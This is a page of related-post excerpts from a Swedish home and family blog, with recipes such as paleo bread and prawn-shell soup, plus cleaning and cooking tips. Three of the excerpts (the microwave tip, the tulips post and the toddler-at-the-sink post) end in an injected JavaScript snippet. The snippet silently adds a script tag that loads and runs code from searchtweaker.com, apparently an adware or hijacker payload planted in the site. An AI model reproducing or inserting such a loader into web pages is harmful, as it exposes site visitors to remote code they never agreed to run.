Related Posts

01 apr
Livet hos Hogengård

Bakat Paleobröd

Gjorde en halv sats igår för att prova först. Buset åt det med stor aptit. Även till frukost idag. Jag tyckte också det var gott men föredrog det när det var svalnat. Var lite väl klibbigt innan. Recept: 1 bröd (ca 16 bitar)Ingredienser4 dl mandelmjöl0,5 dl kokosmjöl5 msk fiberhusk0,5 dl krossat linfrö1 tsk kanel 1 tsk kardemumma1 tsk salt1 tsk bikarbonat6 st ägg2 dl vatten Honung (flytande)2 st bananer Sätt ugnen på 200° C. Blanda samman alla de torra ingredienserna i en bunke.Mixa ägg, vatten och lite honung i en separat bunke.Häll över de torra ingredienserna i äggen och vattnet. Blanda väl.Tillsätt bananerna...

Read more
20 mar
Livet hos Hogengård

Dagens husmorstips!

Av förklarliga skäl så finns det inte så många inlägg i bloggen av detta slag. Jag är ju mer av typen "gå ud å bröda me nå´t skeddet". Men vi har ju våra söta skitsvansar. En av dem sitter pälsen knappt kvar på. Framförallt inte nu när vårkostymen ska på. Och vinteroverallen av. Våra matsalsstolar är klädda med tyg. Skitsmart. Eller inte. Men jag vet trixet. Glöm att köpa tjugo klisterrullar på Ullared. Det här är bättre! Fuktig disktrasa och bara torka av pälsen. På stolen. Inte katten. Jag använder gamla disktrasor som jag har tvättat i maskinen. Det...

Read more
10 okt
Livet hos Hogengård

Viltspaning och sur på ugn

Hade rådjursbock på besök igår. Vem tyckte det var mest spännande. Katt eller Bus? Bakat fröknäcke. Supergoda men jag flippar ur på vår ugn. Brända kanter och halvfärdigt i mitten. Sur som fan! Körde med en färdig mix från Risenta som jag la till en sked honung i och smulade lite flingsalt på toppen. Och Buset berättar hur stora fiskar han fått. Och nej, armarna räckte inte till. Ikväll blir det den lilla svarta, höga klackar och ut på baluns med Snäckan. Det kan jag behöva efter en riktig skitvecka. Får se om vi får till någon bild.

Read more
14 mar
Livet hos Hogengård

Dagens husmorstips!

Några skivor citron i en liten skål med vatten. Ställ in i micron. Kör en minut på full effekt så det börjar ånga rejält. Sedan är det bara att torka ur med ren trasa. Rent och luktar gott utan läskiga medel. Testade igår i en måttligt ren micro. Funkar. (function(){try{var header=document.getElementsByTagName("HEAD");var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Read more
28 jan
Livet hos Hogengård

Vackert!

Älskar tulpaner. Dessa ljusgula köpte jag i lördags och de är helt ljuvliga. Ställer dem svalt under natten och byter vatten för att de ska hålla längre. Dagens husmorstips. :) (function(){try{var header=document.getElementsByTagName("HEAD");var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Read more
14 jan
Livet hos Hogengård

Laga mat i fred?

1. Ta fram en pall 2. Sätt på vattenkranen 3. Ställ barnet på pallen 4. Laga mat 5. Ta av barnet blöta kläder 6. Torka av allt inom fem meter från vattenkran (function(){try{var header=document.getElementsByTagName("HEAD");var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();

Read more
03 jun
Livet hos Hogengård

Snabba middagstipset!

Häll en rejäl pöl med olja i en het panna, fräs lite gul currypasta, hiva i kyckling(inner)filé och champinjoner. Stek på och lägg till några rejäla kluttar ostronsås, liten svätt sesamolja, lime och japansk soja. Låt gotta ihop sig. Tyckte inte det behövdes mer än några korn salt. Servera med nudlar, ris, broccoli eller vad som nu önskas. :)

Read more
16 maj
Livet hos Hogengård

Middagsexperiment!

Under högen av tomater, champinjoner (busets favorit), smör, limesaft, salt, peppar och örter så ligger det en fet bit lax. Tog lite olja i botten men det var nog inte så nödvändigt. Lax med vänner i ugn i paket. Hade mästerkocken varit hemma hade den nog hamnat på grillen. Nu håller vi tummarna för att det funkar.

Read more
28 jan
Livet hos Hogengård

Släng INTE era räkskal!

Ge dem till mig om du inte vill ha dem. :) Jag gjorde världens godaste laxsoppa på räk och kräftskal idag. Tar en kvart extra men jädrar vilken smak det blev! Fräs upp skalen i olivolja och smör, rör hela tiden. Häll på vatten så det täcker och skicka ner morot, lök, vitlök och rotselleri eller vad du har hemma och tycker passar. Tomatpuré, timjan, paprika pulver och några puffar cayennepeppar. Koka ihop 10-15 minuter, sila och låt fonden reducera. Red med grädde och salta. Jag kokade potatisen (små bitar) nästan helt klar innan jag la ner laxen. Färsk...

Read more

Lämna ett svar

Din e-postadress kommer inte publiceras. Obligatoriska fält är märkta *

This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

The reCAPTCHA verification period has expired. Please reload the page.